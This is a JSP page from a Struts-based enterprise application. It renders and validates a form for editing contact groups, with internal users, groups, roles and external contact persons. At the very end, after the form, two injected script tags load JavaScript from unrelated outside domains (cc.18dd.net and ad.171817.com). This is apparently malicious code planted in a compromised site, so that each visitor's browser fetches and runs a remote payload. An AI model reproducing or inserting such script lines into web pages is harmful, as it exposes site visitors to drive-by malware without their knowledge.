<%
/*
 * @(#)EditContactPerson.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditContactPerson.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    04/01/2005
    @version          $Revision: 1.19.4.6 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.contact.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintContactGroupForm" scope="request" class="com.dcivision.contact.web.MaintContactGroupForm"/>


<html:form action="contact/MaintContactGroup">
<html:javascript formName="maintContactGroupForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

%>

<script language="Javascript">
<!--
function AddContactPerson(){
  var url = "MaintContactPerson.do?navMode=NEW.CONTACTS";
  var name = "DCIVisionPopupContacts";
  var popW = "800";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function OpCustSave(){
  var userSelected = false;
  var groupSelected = false;
  var roleSelected = false;
  var contactSelected=false;

  if(document.maintContactGroupForm.contactListName.value==""){
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "contact.label.name")%>' />');
    return true;
  }

  if (document.maintContactGroupForm.userIDs) {
    if (document.maintContactGroupForm.userIDs.length > 0) {
      for ( var i=0; i<document.maintContactGroupForm.userIDs.length; ++i ) {
        if ( document.maintContactGroupForm.userIDs[i].checked ) { userSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.userIDs.checked ) { userSelected = true; }
    }
  }

  if (document.maintContactGroupForm.userGroups) {
    if ( document.maintContactGroupForm.userGroups.length > 0 ) {
      for ( var i=0; i<document.maintContactGroupForm.userGroups.length; ++i ) {
        if ( document.maintContactGroupForm.userGroups[i].checked ) { groupSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.userGroups.checked ) { groupSelected = true; }
    }
  }

  if (document.maintContactGroupForm.userRoles) {
    if (document.maintContactGroupForm.userRoles.length > 0){
      for ( var i=0; i<document.maintContactGroupForm.userRoles.length; ++i ) {
        if ( document.maintContactGroupForm.userRoles[i].checked ) { roleSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.userRoles.checked ) { roleSelected = true; }
    }
  }

  if (document.maintContactGroupForm.contactPersonIDs) {
    if (document.maintContactGroupForm.contactPersonIDs.length > 0){
      for ( var i=0; i<document.maintContactGroupForm.contactPersonIDs.length; ++i ) {
        if ( document.maintContactGroupForm.contactPersonIDs[i].checked ) { contactSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.contactPersonIDs.checked ) { contactSelected = true; }
    }
  }

  if ( !(userSelected || groupSelected || roleSelected || contactSelected)) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "contact.label.contacts")%>' />');
    return true;
  }
  return OpSave();
}

function OpCustSaveAndNew(){
  var userSelected = false;
  var groupSelected = false;
  var roleSelected = false;
  var contactSelected=false;

  if(document.maintContactGroupForm.contactListName.value==""){
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "contact.label.name")%>' />');
    return true;
  }

  if (document.maintContactGroupForm.userIDs) {
    if (document.maintContactGroupForm.userIDs.length > 0) {
      for ( var i=0; i<document.maintContactGroupForm.userIDs.length; ++i ) {
        if ( document.maintContactGroupForm.userIDs[i].checked ) { userSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.userIDs.checked ) { userSelected = true; }
    }
  }

  if (document.maintContactGroupForm.userGroups) {
    if ( document.maintContactGroupForm.userGroups.length > 0 ) {
      for ( var i=0; i<document.maintContactGroupForm.userGroups.length; ++i ) {
        if ( document.maintContactGroupForm.userGroups[i].checked ) { groupSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.userGroups.checked ) { groupSelected = true; }
    }
  }

  if (document.maintContactGroupForm.userRoles) {
    if (document.maintContactGroupForm.userRoles.length > 0){
      for ( var i=0; i<document.maintContactGroupForm.userRoles.length; ++i ) {
        if ( document.maintContactGroupForm.userRoles[i].checked ) { roleSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.userRoles.checked ) { roleSelected = true; }
    }
  }

  if (document.maintContactGroupForm.contactPersonIDs) {
    if (document.maintContactGroupForm.contactPersonIDs.length > 0){
      for ( var i=0; i<document.maintContactGroupForm.contactPersonIDs.length; ++i ) {
        if ( document.maintContactGroupForm.contactPersonIDs[i].checked ) { contactSelected = true; }
      }
    } else {
      if ( document.maintContactGroupForm.contactPersonIDs.checked ) { contactSelected = true; }
    }
  }

  if ( !(userSelected || groupSelected || roleSelected || contactSelected)) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "contact.label.contacts")%>' />');
    return true;
  }
  return OpSaveAndNew();
}

function refreshPage(){
  document.maintContactGroupForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  document.maintContactGroupForm.submit();
  return false;
}
-->
</script>


<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font>
  <layout:returnButton>ListContactGroup.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton>
</layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="contact.label.contact_list_info" mandatory='true'/>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>"><bean:message key='contact.label.share_type'/>:&nbsp;</td>
    <td class="dataField" width="75%">
      <html:radio property="publicFlag" onclick="return true" value="Y"><bean:message key="contact.label.public"/></html:radio>
      <html:radio property="publicFlag" onclick="return true" value="N"><bean:message key="contact.label.private"/></html:radio>
   </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>"><bean:message key='contact.label.name'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:text property='contactListName' size='20' maxlength='100'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel />"><bean:message key='contact.label.description'/>:&nbsp;</td>
    <td class="dataField" width="75%"><html:textarea property='description' cols="30" rows="3" textlimit="300"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <!-- Section Header -->
<%if(SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.CONTACT_ENABLE_INTERNAL_USERS)){%>
  <layout:sectionHeader name="contact.label.internal_contact" mandatory='false'/>
  <tr>
  <td class='<layout:classLabel />' valign='top'><bean:message key='contact.label.internal_recipient'/>:&nbsp;</td>
  <td class='dataField' width="75%">
  <table>
  <tr>
    <td class="bodySmallBold"><bean:message key='contact.label.users'/>:&nbsp;</td>
    <td class="bodySmallBold"><bean:message key='contact.label.groups'/>:&nbsp;</td>
    <td class="bodySmallBold"><bean:message key='contact.label.roles'/>:&nbsp;</td>
  </tr>
  <tr>
    <td width="200"><html:checkboxOptions dbListName='userRecordList' name='userIDs' nameValue='<%=maintContactGroupForm.getUserIDs()%>' hasSelect='false' width="200" /></td>
    <td width="200"><html:checkboxOptions dbListName='userPublicGroupList' name='userGroups' nameValue='<%=maintContactGroupForm.getUserGroups()%>' hasSelect='false' width="200" /></td>
    <td width="200"><html:checkboxOptions dbListName='userRoleList' name='userRoles' nameValue='<%=maintContactGroupForm.getUserRoles()%>' hasSelect='false' width="200" /></td>
  </tr>
  </table></td></tr>
<%}%>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
<!-- Section Header -->
  <tr><td colspan="2">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td class="sectionTitle" valign="bottom" nowrap><bean:message key="contact.label.external_contact"/>:</td>
        <td align="right">
         <table width="90" border="0" cellspacing="0" cellpadding="0">
           <tr>
             <td></td>
             <td>
               <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
                 <html:permissionButton label="contact.label.addnewcontacts" right="I" functionCode="<%=SystemFunctionConstant.CONTACT_PERSON%>" onClick="return AddContactPerson()"/>
               <%}%>
             </td>
           </tr>
         </table>
        </td>
      </tr>
    </table>
    </td>
  </tr>
  <tr>
   <td class="blackLine" colspan="2"><html:img src="LayoutSpacer.gif" width="1" height="1"/></td>
 </tr>
 <tr>
  <td class='<layout:classLabel />' valign='top'><bean:message key='contact.label.external_recipient'/>:&nbsp;</td>
  <td class='dataField' width="75%">
  <table>
  <tr>
    <td class="bodySmallBold" colspan="3"><bean:message key='contact.label.contacts'/>:&nbsp;</td>
  </tr>
  <tr>
    <td width="500" colspan="3"><html:checkboxOptions dbListName='contactPersonList' name='contactPersonIDs' nameValue='<%=maintContactGroupForm.getContactPersonIDs()%>' hasSelect='false' width="500" /></td>
  </tr>
</table>
</td></tr>
<tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <!--TODO: Document Owner Handling-->
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return OpCustSave();"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
        <html:standardButton label="common.label.more" onClick="return OpCustSaveAndNew();"/>
      <%}%>

    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintContactGroupForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintContactGroup.do?navMode=E&ID=${maintContactGroupForm.ID}"/>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
        <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete();"/>
    </logic:equal>
    </td>
  </tr>
</table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>